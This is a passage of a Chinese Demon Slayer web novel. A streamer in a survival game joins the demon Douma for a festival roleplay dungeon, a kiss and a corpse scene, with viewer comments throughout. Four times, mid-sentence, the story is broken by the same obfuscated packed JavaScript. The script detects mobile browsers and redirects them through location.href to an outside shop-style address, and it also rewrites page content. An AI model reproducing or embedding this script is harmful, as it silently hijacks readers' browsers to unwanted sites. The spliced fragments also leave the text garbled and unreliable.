【我服了,刚出去逛了一圈,别的主播都在找有自保能力的路人组,玩男线的那几个头部主播,混的最好的也就和甲级队员组上了】 【而我们亲爱的主播,居然在这里对着上弦挑三拣四?】 【什么世道啊(怒】 【主播继续说啊,童磨呢童磨怎么样,我们教主大人又好看实力又强,还不会嫌麻烦,难道不是最好的选择吗?】 “童磨就不考虑了。” 不好意思,这个就婉拒了。 【啊啊啊啊啊为什么】 【可是你现在正在去万世极乐教诶,我总觉得...】 弹幕的预感是对的。 她前脚踏入万世极乐教,下一秒系统提示已经冷冰冰出现在面前。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122978|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> [检测到玩家已进入特殊区域:万世极乐教。] [检测到附近存在与玩家拥有特殊血液羁绊的NPC,正在根据活动规则自动匹配队伍中...] “等下。”朝奈一愣,下意识叫停。 [匹配成功!您已与<上弦之贰·童磨>组成七夕限定队伍。] [特殊提示:队伍绑定后不可解除,期间完成限定副本可获得双倍奖励。] [是否立即传送至副本入口?] 朝奈看着手腕上突然出现的红色丝线,又看了眼系统提示,陷入了一阵沉默之中。 弹幕笑得倒是蛮开心的。 【寸不已,我笑得流口水】 【墨菲定律诚不我欺】 【不知道,但是我cp被系统强制锁死的样子很妙曼】 【主播怎么不说话了,是不想说吗?】 【很喜欢主播刚刚不假思索就拒绝的样子】 “算了。” 她按下确认键。 朝奈有点可惜没法和黑死牟组队,错过一个稳定抱大腿的机会。 不过,童磨的话,也不是不行。 估计就是清清小怪之类的任务,不会麻烦到哪里去。 她抱着这样的念头出现在了童磨面前。 此时临近黄昏。 对方站在门内的光影交界处,身前是倾泻而下的阳光,只要往前踏出半步,身躯就会暴露在阳光下。 他站在那片阴影里,与暗色几乎融为一体。 看见她的出现,那双七彩色的眸子深处染上一点惊讶,然后笑意漫开。 他的声音尾调扬起,昭示着此刻的好心情,“刚才我还在想朝奈酱呢,下一秒就出现在我面前了。” 朝奈捕捉到一个细节,他的手腕上也有和自己一样的红色丝线标记。 “是错觉吗?” 他很敏锐地感受到了些许不同,“你今天好像带着一点特别的缘分来找我呢。” 游戏里的NPC果然对组队有一定的反应,不过,在他们视角里,或许是另外的、以他们能理解的方式而存在的东西。 这倒是很有意思。 “特别的缘分?童磨阁下指的是什么?”她明知故问。 童磨用金扇遮住下半张脸,只露出那双弯起的眼睛:“就像丝线一样,把朝奈和我连在一起了呢~” “这种感觉,我很喜欢哦。”他的神色带着某种奇异的满足感。 “那正好,”朝奈顺水推舟,“既然有缘分,那你要不要陪我去一个地方?听说那里能看见很有意思的东西。” “好啊。”童磨答应得很快。 “因为,和朝奈酱在一起的话,去哪里都会很有趣呢。” 朝奈丝毫没有忽悠别人的罪恶感。 点开系统页面选中固定的选项,然后邀请队伍成员“上弦之贰·童磨”进入副本。 [正在传送至特殊副本...] [副本规则:本副本为角色扮演体验型,队伍两人将随机抽取身份角色,完成指定的情景任务即可通关。] [正在为队伍成员抽取角色...] 上弦之贰·童磨> 18. 第十八章 金光笼罩,再褪去时,周遭景象已彻底改变。 朝奈发现自己站在一处回廊下,古色古香的庭院在月色下静谧如常。 她穿着一身繁复华丽的十二单衣,层层叠叠的厚重织物压得她几乎喘不过气,行动极为不便。 她立刻看向身边。 童磨倒是依旧穿着他那身标志性的万世极乐教教主服饰,只是外面松松罩了件深紫色的直衣,头发也难得规整地束起一部分,倒真有几分平安时代贵公子的风雅姿态。 他似乎对自己这身装扮接受良好,正颇有兴致地用金扇轻轻敲打掌心,环顾四周。 “哎呀,这可真是,令人怀念的景象呢。”他语气轻快,“虽然,我确实未曾亲历这般风雅的年代。” 系统面板悄然展开。 [当前身份:藤原朝子(家道中落的藤原家旁支之女)] [当前任务:扮演角色,完成月下赠扇情节。请将手中桧扇赠予指定对象(源氏磨),并成功邀请其一同前往前方望月亭赏月,任务需体现贵族风仪与含蓄情致。] [任务时限:一炷香] [队友身份:源氏磨(宫廷中颇负盛名的雅乐寮乐师)] [队友任务:配合藤原朝子完成赠扇与赏月邀请,扮演一位风度翩翩、善解人意的贵族乐师。] 手中不知何时已多了一柄精致的桧扇,扇骨触手温凉,扇面以细密笔触绘着盛放的八重樱,一弯银月孤悬樱枝之上,意境幽寂。 指定对象正笑意盈盈地望着她,等待她的下文。 【哈哈哈哈哈哈哈哈哈我笑疯了,这什么古早玛丽苏言情剧本】 【藤原朝子X源氏磨,系统这名字起的也太草率了吧】 【主播这身十二单好美,虽然看起来快被压垮了】 【童磨居然真的在配合,他甚至还调整了一下站姿?】 【他是不是觉得很好玩啊】 “看来,我们被安排了有趣的身份呢,朝子小姐。”童磨看着她,语气里的笑意几乎要溢出来,还特意换了称呼。 朝奈深吸一口气,试图摒弃杂念,融入这异常诡异的氛围。 她挪动沉重的步伐,木屐在廊下发出轻微的“嗒”声,走到童磨面前约三步远的地方停下。 双手持扇,微微举高至胸前,眼帘低垂,声音努力放得轻柔婉转,开始棒读系统塞给她的台词剧本。 “今夜月色澄明,久闻源氏君精擅管弦,笛音尤能引动幽谷之兰。不知,可否拨冗,共赴望月亭,一赏此夜清辉?” “佳人相邀,岂敢推辞。”他上前半步,微微倾身,“只是不知,朝子小姐欲以何物,铭记此番风雅?” 他目光落在她手中的桧扇上。 朝奈按照指引,双手持扇,略显笨拙地递过去,“若不嫌弃,请收下此扇,见扇如晤,愿常念今夜之月。” 童磨接过扇子,指尖似有若无地擦过她的手背,触感冰凉。 他展开扇面,看了看上面的画,笑容更深。 “夜樱易逝,孤月长存。朝子小姐的心意,我收到了。” 【我草我特么笑疯了,哪个人才写的台词】 【诡秘诡秘,这期是你最爱看的古风小生】 【善哉善哉,我应在江湖悠悠】 【主播能不能稍微有点感情,一直棒读好出戏啊!】 【笑得我差点噎住,游戏策划家里请高人也没用了,七夕这个限时副本是人能想出来的东西?】 【诗人握持】 [任务月下赠扇完成。] [触发后续任务:共赏风月。请与队友于前方望月亭内,并肩赏月至少半柱香时间。] 亭子就在不远处。 朝奈内心松了口气,至少不用再维持那种别扭的腔调了。 她试着迈步,却被沉重的十二单衣绊得一个趔趄。 一双手稳稳扶住了她的手臂。 “小心些,朝子小姐。”童磨的声音在耳边响起,带着笑意的气息拂过耳廓,“这身衣物,行动确实不便呢。” 他倒是很自然地扮演着扶助贵女的乐师角色,搀着她慢慢走向望月亭。 【你别说,这画面,居然有点好看】 【反正本颜狗先截图为敬】 【鹅鹅鹅,我一直在银笑】 【不好意思,强扭的瓜就是甜】 在亭中坐下,朝奈总算能放松一点。 她看着身旁姿态悠闲,正摇着那把桧扇的童磨,有些好奇地开口,“你对这种角色扮演,不觉得奇怪吗?” NPC的自适应程度也太高了点。 “奇怪?”童磨歪了歪头,扇面掩住下半张脸,“明明很有趣啊。” “朝奈不觉得吗?此刻你我之间的缘,因为身份和场景的变换,似乎也染上了不同的颜色呢。” “如果身份能互换,那倒是挺有趣的。”她冷漠地回答。 朝奈对这身行动困难的衣服颇有怨气,好在这个任务还算简单。 半柱香的时间在寂静中很快过去。 [任务共赏风月完成。] [恭喜您完成七夕限定副本第一幕,奖励结算中。] [即将传送至下一幕场景。] 金光温柔地笼罩下来,将平安时代的月色与庭院徐徐抹去。 这一次,四周变成了喧闹的祭典街道。 灯火如龙,人声鼎沸,章鱼烧和苹果糖的香与甜混合着烟火气扑面而来。 朝奈低头,发现自己换上了一身轻便的淡蓝色浴衣,手里还拿着一个兔子面具。 童磨则是一身深蓝色的和服,手里多了一盒刚捞的金鱼,正饶有兴致地看着纸网里奄奄一息的小生命。 【我草是夏日祭典!】 【我收回刚刚对设计师的诋毁,设计师是对的】 【他居然还捞了金鱼?画面好怪再看一眼】 【快快快,下一幕任务是什么?】 系统提示适时出现。 [当前身份:平民少女朝奈/流浪乐师童磨] [当前任务:参与祭典,成功邀请队友一同观看烟花大会。] [任务提示:需共享苹果糖,并获得至少三句来自路人的“真是般配呢”的感叹。] 朝奈:“……” 任务还能更土一点吗? 她还没想好如何开始,童磨已经直起身,手里小心地提着那个装着金鱼的水袋,另一只手则拿过摊主递来的一根鲜红欲滴的苹果糖。 他转身,目光精准地捕捉到她,笑容瞬间变得明亮,几步走到她面前,将苹果糖递过来。 “要吃吗,朝奈酱?”他声音轻快,“看起来很甜哦。” 朝奈接过那根裹着厚重糖壳的苹果糖,犹豫了一下,轻轻咬了一口。 脆甜的糖壳在齿间碎裂,青涩的苹果酸味中和了甜腻,味道居然不错。 “很甜吧?”童磨凑近了一点,观察着她的表情。 然后,自己也从旁边的小贩那里拿了一根,学着她的样子咬了一口,眼眸满足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122979|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地眯起,“嗯,果然很甜,和朝奈一起吃,感觉更甜了呢。” 他入戏是不是太快了一点? 朝奈暗自叹了口气。 她努力按照这次剧本给的要求,微微低下头,脸上硬生生挤出一点羞涩:“童磨君,接下来想去哪里逛逛吗?” “朝奈想去哪里,我就去哪里哦。”童磨从善如流,他很自然地走到她身侧稍靠后的位置,是一个不会过于侵入私人空间的距离。 祭典的游玩开始了。 首先是捞水球。 童磨似乎对这类需要细微控制力的游戏格外擅长,纸网在他手中异常牢固,轻松捞起好几个色彩鲜艳的水球,用细绳串好,挂在了朝奈另一只空闲的手腕上。 “挂在浴衣上,应该会很好看。”他目光扫过她淡蓝色的衣袖,评价道。 然后是卖风铃的小摊。 各式各样的玻璃风铃和陶瓷风铃在晚风中叮咚作响。 童磨拿起一个描绘着金鱼图案的玻璃风铃,对着灯光看了看,彩色的光晕落在他脸上。 “朝奈酱~这个怎么样?” “挂在窗边,有风的时候,就会想起今天的祭典哦。”他转头询问,语气仿佛他们真的是一对来约会的情侣。 朝奈指了指另一个画着烟花的,“我比较喜欢那个。” “那就都买下吧。”童磨爽快地付了钱,将两个风铃的提绳小心地系在一起,然后很自然地接过她怀里大部分的东西。 “童磨君对恋人真体贴呢。”卖风铃的老婆婆看着这一幕,脸上露出慈祥的笑容,“年轻人感情真好。” “年轻真好啊,”旁边捞水球的摊主一边给其他客人装水球,一边笑着搭话,“两位看起来很般配呢,是第一次一起来祭典吗?” 走到绘马架前时,一个被妈妈牵着的小女孩仰头看着他们,童言无忌地喊道:“妈妈!那个白头发的大哥哥和蓝衣服的姐姐是在约会吗?好漂亮!我以后也要和这么好看的人约会!” 朝奈面无表情地舔了口苹果糖。 [获得路人感叹“真是般配呢”x1(卖风铃婆婆)。] [获得路人感叹“看起来很般配”x1(捞水球摊主)。] [获得路人感叹“好漂亮/是在约会吗”x1(小女孩)。] [任务条件达成。] 恰好此时,远处河岸的方向传来“咻——啪”的声响。 第一朵硕大的金色烟花在夜空中璀璨绽放,光芒瞬间照亮了热闹的街市和每一张仰望的脸。 紧接着,更多绚烂的色彩接连升空,赤红,青绿,淡紫,将夜空装点得如梦似幻。 童磨也抬起头,望向那片流光溢彩的天空。 “和朝奈一起看的烟花。” 他的声音在烟花的巨响和人群的喧哗中显得有些模糊,“比我想象的,要美丽得多呢。” 朝奈侧头看他。 祭典的灯火和烟花在他脸上交错明灭,那张脸在光影变幻中,轮廓似乎柔和了些许。 下一秒,他转过头,脸上又漾开灿烂的笑容,“要许愿吗,朝奈酱?” “我听说,在祭典的烟花下许愿,愿望会特别容易实现哦。” 朝奈看着漫天烟火,没有说话。 [任务祭典相约完成。] [恭喜您完成七夕限定副本第二幕·夏祭流光,奖励结算中。] [检测到队伍在扮演过程中互动自然,配合默契,符合七夕缘契主题,成功触发隐藏任务最终章。] 19. 第十九章 童磨偏过头,那双映照着漫天流火的眼眸含着轻快的笑意,望向身旁安静的朝奈,他微微倾身。 “朝奈酱,我刚才好像看到了更有意思的东西哦。” 朝奈下意识转头,对上他近在咫尺的目光。 [检测到特殊情境。] [触发隐藏互动事件:烟火下的约定。] [描述:在祭典最绚烂的烟火达到顶点时,完成一次羁绊之吻。此互动将大幅提升七夕限定副本最终评价及奖励,并解锁特殊纪念道具。] 【???????????】 【???等一下???】 【我刚刚看到了什么???羁绊之吻???】 【策划你出来,七夕副本搞这个?】 【啊啊啊啊啊接受啊主播!!!我想看!!!】 【可是对面是童磨啊!!!主播真能亲得下去???】 【但这是游戏啊,而且奖励很丰厚的样子】 【快亲快亲!我要看血流成河(不是)】 系统的提示框在视野中微微闪烁。 朝奈的大脑有了一瞬间的空白。 没记错这是个恐怖生存游戏?为什么会有和NPC亲亲这种恶趣味的任务啊! 而且,非亲不可吗? 系统非常贴心,下一秒就给出了回答。 [提示:此为可选互动,非强制任务。] 对象是游戏里的一段数据。 上弦之贰,万世极乐教教主,以人类为食的鬼。 不过是一个剧情选项,姑且算能换取高额奖励的互动。 而且那张脸,哪怕是非常挑剔的她,也找不出什么毛病。 亲一下好像也不亏? 她有点拿不定主意。 童磨似乎也在等待着什么。 他并没有更进一步的举动,保持着那恰到好处的倾身距离,虹眸一眨不眨地看着她,像是在观察她脸上细微的表情变化。 手腕上那圈与她相连的红色丝线,在烟火下似乎也泛着微弱的光。 短暂的权衡只在瞬息之间。 朝奈深吸一口气,祭典甜腻的空气涌入肺腑,她向前微微凑近。 动作很轻,很快,带着一丝完成任务般的僵硬。 她的嘴唇轻轻碰了碰童磨的嘴角。 冰凉。 柔软。 带着一丝苹果糖残留的甜腻香气。 一触即分。 时间仿佛被拉长,又仿佛只是刹那。 她能清晰看到童磨在她靠近时,眼瞳中瞬间掠过的一丝惊讶,随即又被更深沉的笑意覆盖。 他甚至配合地微微偏了一下头,让这个仓促的触碰显得不那么生硬。 烟花在头顶轰然盛放,将相触的剪影染上灿烂的金边。 【!!!亲了!!!】 【我草我草我草!!!】 【截图了!!!这个构图绝了!!!】 【虽然但是,童磨这个表情,他是不是也愣了一下?】 【不管了!四舍五入就是我cp官宣了!!!】 【谁来懂一下主播这个表情,看起来像公事公办在完成KPI,算我求她了。。。】 [隐藏互动烟火下的约定完成。] [特殊纪念道具“刹那绚烂的记忆碎片”已发放至背包。] [已获得特殊称号:“心潭冻久,忽落春痕”。] [七夕限定副本最终评价大幅提升。] 朝奈向后退了半步,脚跟落回木屐。 童磨也直起身,指尖无意识地摩挲了一下还剩一点糖渣的木棍,目光注视着她,最终化为一种更难以捉摸的笑意。 他舔了舔自己的下唇,仿佛在回味那转瞬即逝的甜味与触感。 “啊啦~” 他发出一个意味不明的音节,声音里带着一丝低沉的喑哑,“原来朝奈的吻,是这样的味道。” “很甜哦。”他补充道,目光落在她同样沾染了一点糖渍的唇瓣上。 祭典的灯火在远处渐次熄灭,人群开始散去。 朝奈转身,朝着来时的路走去,脚步比来时慢了一些,浴衣的下摆轻轻晃动。 童磨提着那袋金鱼,不紧不慢地跟在她身侧半步之后。 他没有再说话,只是偶尔用金扇轻轻敲打自己的掌心,目光掠过她的侧脸。 空气里弥漫着一种前所未有的微妙氛围。 回程的路上,两人沉默着,谁也没开口,只有木屐声和远处收摊的声响相伴。 直到金光再次温柔地笼罩下来,将祭典的余韵彻底抹去,传送即将开始。 在身影淡去的前一瞬,朝奈似乎听到身旁传来一声极轻的叹息。 “我开始期待遇见真、正、的、你了呢。” “朝奈酱~” - 回到主世界后,朝奈第一时间确认了任务面板。 “青色彼岸花线索”后面,地点标注仍然是万世极乐教。 道具“刹那绚烂的记忆碎片”也随着限时副本的结束,发放到了她的游戏背包里。 [纪念道具:刹那绚烂的记忆碎片] [品质:特殊纪念品] [描述:承载着祭典烟火到达定点时一瞬光华的记忆碎片,似乎封存着某种温度与气息,以及一句消散在风中的低语。存在特殊效果,需玩家自行探索。] [系统提示:是隐藏互动“烟火下的约定”的完成证明,建议玩家妥善保存。] 特殊纪念品?又是个需要自行去探索效果的东西。 现在的游戏都这么喜欢谜语人吗。 玩家又要升级,又得过主线,还得做隐藏任务,没有那么多精力再去探索这些奇奇怪怪的特殊效果了好吗! 朝奈在心里吐槽了一番,转而将目光投向前方的童磨。 就好像刚才什么都没发生一样。 桧扇,苹果糖,兔子面具,亦或者是那个一触即离的吻。 “童磨阁下,极乐教内有青色彼岸花的相关线索,对吗?”她也不打算和童磨绕弯子了,直奔主题,仍旧是那副公事公办的语气。 【我裤子都脱了你就让我看这个?】 【亲都亲了,没有下一步了吗(失望】 【我算是明白了,主播是究极剧情党,不会放过任何一个有剧情的任务】 【我从论坛火速飞奔来直播间,难道是来看她问童磨线索的吗!(恼】 【可恶,就算是这样我还是离不开这个直播间】 【已经变成没有主播就不行的笨蛋了///】 【喂,你们再这么不正经直播间要被超管封了!】 “嗯...青色彼岸花呀。” 童磨拖长了语调,做出一副思考的样子,脸上笑容不减,“说起来,好像确有一位虔诚的信徒,曾向我透露过一些有趣的线索呢。” “朝奈酱想知道吗?我可以带你去见她哦。” 他转过身,宽大的袖袍在空中划出一道弧度,朝着万世极乐教内部深处走去,似乎笃定了她会跟上去。 朝奈心下一凛。童磨会这么轻易就给出线索?太奇怪了。 但她还是准备跟上去看看,涉及主线任务,哪怕是剧情杀她也要亲自去作死尝试一下。 走廊很暗,漆黑中透着几丝阴冷,偶尔还能嗅到些许令人不安的味道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122980|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>终于,童磨在走廊尽头停下,推开了一扇房门。 得益于变成鬼的身体,朝奈的嗅觉变得格外敏锐。 她闻到了空气中飘来的血腥味,还很新鲜,应该是死去没多久的尸体流下的血液。 在什么情况下,会带着别人去见尸体呢? 看样子,她这一趟会是白来了。 她跟上童磨进入房间,视线打量着四周。 房间内部比想象中宽敞,更像一个小型的祈祷室。 早就有预料,以至于朝奈看见房间中央的景象时,面色并没有多大的变化。 地板上,一个穿着和服的女人倒在那里,如果还能称之为倒着的话。 尸体的大部分肢体几乎消失,只剩下些残缺的部分和一个孤零零的头落在地上。 大片血泊中,那双眼睛睁得很大,脸上还凝着极度恐惧与痛苦的神色。 想必这就是童磨口中那位透露过青色彼岸花线索的女信徒。 虽然建模建得挺精细的,但,也就那样了。 比不上《寂静岭》的心理恐怖和怪物血腥,也比不上《生化危机》的写实风僵尸。 【屏幕怎么全黑了??】 【喂喂喂,主播还回来吃饭吗?】 【估计是直播模式打码】 【卧槽,那也就是说,房间里有死人?不要啊。。】 【我去,你不会觉得童磨有多真善美、不吃人吧?】 【呃啊,我想看画面,这该死的直播模式】 见过不少大场面的朝奈没有露出童磨想看见的神情,他有些失望地眨了眨眼。 “哎呀。”他用金扇轻轻敲了敲自己的脑袋,笑意盈盈地看着朝奈面不改色的脸。 “忘记跟朝奈酱说清楚了呢。” 他的声音像甜腻至极,但是说出来的话却十分冰冷。 “因为呀。” “这位虔诚的信徒,已经被我吃、掉、了、哦~” 童磨脸上的笑容愈发灿烂,虹眸里染上几分期待。 “线索的话...大概,也跟着她的身体,一起进到我的肚子里了呢。” “这样的话,朝奈酱会怎么办呢?” 朝奈仔细分析了一下眼前的情形,对方脸上真的有肉眼可见的失望痕迹。 童磨把她带到这里来,总不会是好奇她害怕的样子吧? 虽然已经错过了最佳时机,但是现在顺着他的意思演一下好像也不是不行? 朝奈心念一动。 她点开了系统的对话弹窗。 “玩家您好,请问有什么需求吗?” “游戏里有没有洋葱?” 系统像是不理解玩家的诉求,宕机了好一会,才继续回答。 “识别到玩家要求:洋葱,请问您是要用来做什么呢?” “我被游戏里的NPC带到了血腥场景面前,为了保命装一下害怕没问题吧?” “当然没问题。” “洋葱可以催泪。”朝奈说出了原因。 “玩家诉求已接受,正在进行审核中...” “审核通过,关键道具<洋葱>已发放至玩家背包,请查收。” 洋葱> 20. 第二十章 朝奈垂下眼帘,指尖悄悄点击使用背包里的新道具,再抬眼时,那双平日里总是很淡定的赤瞳中,已经迅速蒙上一层水光。 她的肩膀轻轻瑟缩了一下,像是被眼前可怕的景象吓到了,脚步也适时向后微退半步,木屐与地面发出轻微的摩擦声。 “你...” 声音放得很轻,身体止不住般颤抖,却又强撑着不愿示弱,“你把她吃了?” 她视线惊恐地移开,却又忍不住落回童磨颇有深意的脸上,眼神里混杂着难以置信和害怕。 【我就几秒没看,主播怎么了???】 【这反应不对啊?刚才不还一脸淡定吗?】 【你们是不是傻福,看不出来她在演戏吗!】 【我用脚指头想都知道主播在演他好不好】 【草,好演技,我差点信了】 童磨脸上似乎也没料到眼前的人会是这样的反应。 只愣了几秒,眸光若有所思地盯着她。 “是呀。” 他向前拉近了距离,拖长调子仿若在分享一件趣事,“能获得永远的极乐,对她而言是至高无上的幸福呢。” 观察着朝奈脸上每一丝细微的表情变化,他的扇尖轻轻点着自己的下巴。 “朝奈酱看起来很害怕?还是在为我欺骗了你而生气呢?” 用了洋葱的后劲这时候就涌上来了,眼睛周围传来一阵辛辣的刺激感,几乎是一瞬间泪水便盈满了眼眶。 朝奈本来想抬手去擦,手抬到一半又忽然放下了,只咬住下唇,试图将细微的抽泣声咽回去。 有点丢人。谁家好人被洋葱辣成这样。 身体不受控制地微微颤抖,眼泪积蓄已久,终于哗的一下从眼眶中涌出,在腮边留下一道泪痕。 该说不说,系统这个洋葱还挺神奇的,除了眼睛,整个人似乎都陷入了这种辣辣的感觉里。 效果简直拔群,她眼眶和鼻腔酸涩无比,生理性泪水完全不受控制。 赤瞳被刺激性泪水浸润,褪去了平日里的冷淡和防备,脆弱的琉璃质感便显现出来。 童磨面上的笑意不减反增,瞳孔中映出她此刻的模样,这似乎比刚才刻意伪装的害怕更让他觉得有趣。 他正要开口,打算用那副对什么都无所谓的态度继续试探一下朝奈。 然而。 他嘴角的弧度一瞬间僵住了。 手腕上毫无征兆地传来一阵灼烫。 如潮汐般,某种不知名的东西涌上喉咙,然后开始发紧,发酸。 胸腔里猛地一窒,他下意识地攥住胸口。 “...” 一声极轻的闷哼从童磨喉间溢出,他握着金扇的手指猛地收紧。 那双眼里极其罕见地出现了一丝错愕,令他难以理解的事情发生了。 一股莫名的热意毫无预兆地涌上眼眶,透明的泪水逐渐汇聚成滴,顺着眼角缓缓滑落。 冰凉的,炽热的,窒息的,这是什么? 眼泪...? 童磨愣住了,虹眸有些茫然地看着眼前的朝奈。 是她做了什么吗? 朝奈正走向他。 她努力的眨了眨被辣得通红的眼睛,泪水暂时算是止住,视线变得更清晰起来。 刚才发生的事情她虽没完全看清楚,大抵也知道一些。 他们之间,手腕上发烫的红线赤裸裸地在明示。 共感。 原来系统的意图是这样。 绑定的红线会将她的情绪传递给另一方。 啊。她的恶趣味比起系统还是太小儿科了。 【卧槽,我求主播了,开1080p高帧率模式好吗??影响我截图了】 【啊啊啊啊啊是哭哭的教主大人!!】 【流泪磨磨头,我人晕了】 【血槽-10086】 【嗯???为什么突然就哭了,没看懂,谁给我解答一下】 【一边玩去吧,孩子(慈祥的眼神)】 她倒是很好奇面前这位大名鼎鼎的上弦贰哭起来是什么样子,所以走近了点以便能观察地更清楚。 他似乎也没弄清具体发生的事情,神色还有些恍惚,这就显得他有点人畜无害。 当然,这只是错觉。 纯粹出于好奇,朝奈伸出手,指尖轻轻擦过童磨另一侧眼角还未落下的泪滴。 她的动作很快,带着探究的意味,指尖沾染上一点温热、晶莹的湿润。 童磨在她靠近的瞬间便已回过神,视线锁在了她身上。 “朝奈酱?”他的声音有些低哑,不受控地盯着她指尖那点陌生的痕迹。 然后,在她还没来得及反应的时候。 他微微低头,舌尖很轻地舔掉了那滴透明的泪珠。 冰凉的触感扫过指腹,带来了一阵异常微妙的颤栗。 朝奈平静地看着自己的指尖。 你们上弦一个个都属狗的吗? “原来这就是悲伤的味道。”他喃喃道,似乎在回忆着什么。 其实是洋葱的巨大威慑力。 朝奈没开口纠正他,反正他也不会知道什么才是真正的悲伤。 “真是前所未有的体验...朝奈比我想象的还要有趣的多呢。”童磨似乎从刚才的共感中恢复过来了,他再次触碰自己的眼角,那里似乎还残留着些许湿意。 此刻他们之间的距离很近,几乎呼吸相闻。 童磨的目光在她的唇上停留了一瞬,又移回她的眼睛,声音压得很低。 “我很好奇。” “除了悲伤,朝奈还能让我感受到什么呢?” 朝奈不经意间拉开了一点距离,避开他灼人的视线。 她避而不谈,直接将话题拉回正轨,“童磨阁下不妨先告诉我,关于青色彼岸花的线索,真的随那位信徒一起消失了吗?” 童磨看着她公事公办的样子,神色似乎不会因为他的任何举动而改变。 他没由来的有些不开心。 又过了一会,他恢复了往常的神态,缓缓开口,“线索嘛。” “如果朝奈酱愿意帮我一个小忙,或许我能从记忆中,把它重新找出来也说不定哦?” “什么忙?” 童磨露出了一个得逞的笑。 - 从万世极乐教离开以后,主线任务上的“青色彼岸花线索”进度变成了已完成。 看来游戏系统只是在引导玩家去见童磨,而不是真的刁难她获取更多线索。 [当前主线任务已更新] [任务地点:花街(未开放)] [任务名称:潜入暗华之夜] [任务描述:情报常闪烁于最繁华亦最幽暗的角落,为了追踪青色彼岸花的蛛丝马迹,你必须深入最复杂的情报熔炉游廓。请选择合适的身份潜入,并设法接近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122981|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 权力与信息的核心。] [提示:鉴于你已初步接触上弦之贰并获得其兴趣,系统已根据角色特质与当前局势,生成推荐身份路径。] [推荐身份:花魁] [路径说明:此身份能最大限度接触可能与鬼有关的客人、消息贩子,乃至潜藏于人类社会的鬼本身。成为花魁将为你打开通往上层情报网的大门,但请注意,此路径难度极高,需精通琴棋书画等诸多技艺,并应对复杂的游廓人际关系与潜在危险。] 朝奈声音平静,却隐隐透着山雨欲来的意味,“我记得我玩的是《鬼灭之刃》背景的生存RPG,不是《花魁模拟器》或者《游廓风云》。” [系统提示:本游戏致力于为玩家提供沉浸式、多维度的大正时代体验,生存与恐怖是核心,但情报收集、身份伪装、社交渗透亦是重要玩法,成为花魁是获取关键情报的最有效途径之一,请玩家积极面对挑战。] “积极面对挑战?”朝奈重复了一遍。 让她这个主玩pvp的动作游戏玩家,去改行当琴棋书画样样精通的花魁。 这游戏策划脑子是不是哪里有点问题。 都玩鬼阵营了,直接找鬼套情报不香吗? 【哈哈哈哈哈哈哈哈哈哈哈哈哈哈】 【《沉浸式、多维度体验》】 【系统:亲,这边建议您先报个艺能班呢】 【主播:泻药,我只想战斗爽剧情爽】 【但仔细想想,这种鱼龙混杂的地方,确实容易打探消息啊】 【道理我都懂,可主播这偏科的技能点,真的能成为花魁吗】 【没事,大不了就是游廓大逃杀】 【你们先别兴奋,花街地图不是还没开吗(小声bb)】 “确实还没开,这个任务现在是灰色的锁定状态。”朝奈回答了那条弹幕的疑问。 得益于之前的奖励丰富的限时副本,她的等级倒是达到了,但是花街区域一片漆黑。 今早发布的游戏公告也说了,新地图新区域会在以后的更新中陆续开放。 下次是什么时候? 可能快如彩六一个季度就能更新赛季,也有可能慢如丝之鸽,一直跳票,鸽到猴年马月谁也说不准。 她现在约等于主线任务被系统卡住的状态,只能去打打副本或者触发点支线隐藏之类的任务。 【那不然就,去把三哥隐藏开了?】 【对啊,之前不是有道具可以开启吗】 【以后的更新中陆续开放,这个陆续就很微妙啊】 【鬼灭制作组的信誉分还是蛮高的吧?我记得每次画完饼没多久就能兑现】 【肘,主播开隐藏吧,这次我带着一整包抽纸,再悲伤的故事我都能撑住】 朝奈也不拖沓,把想法直接变成实际的行动。 她从背包中取出开启隐藏剧情的关键道具:残温之佩,然后选择[进行更深入的感应]。 玉佩立即被激活,青白色的光芒瞬间亮起,将她整个人包围住,周围的景象也随之变幻。 “你看,我们本就是同一场雪。” “我曾落在百年前的枝头,是为让你能于此刻启程。” “阿真,这世间所有的偶然相遇,其实都是一场既定的久别重逢。” “很高兴再次见到你。” 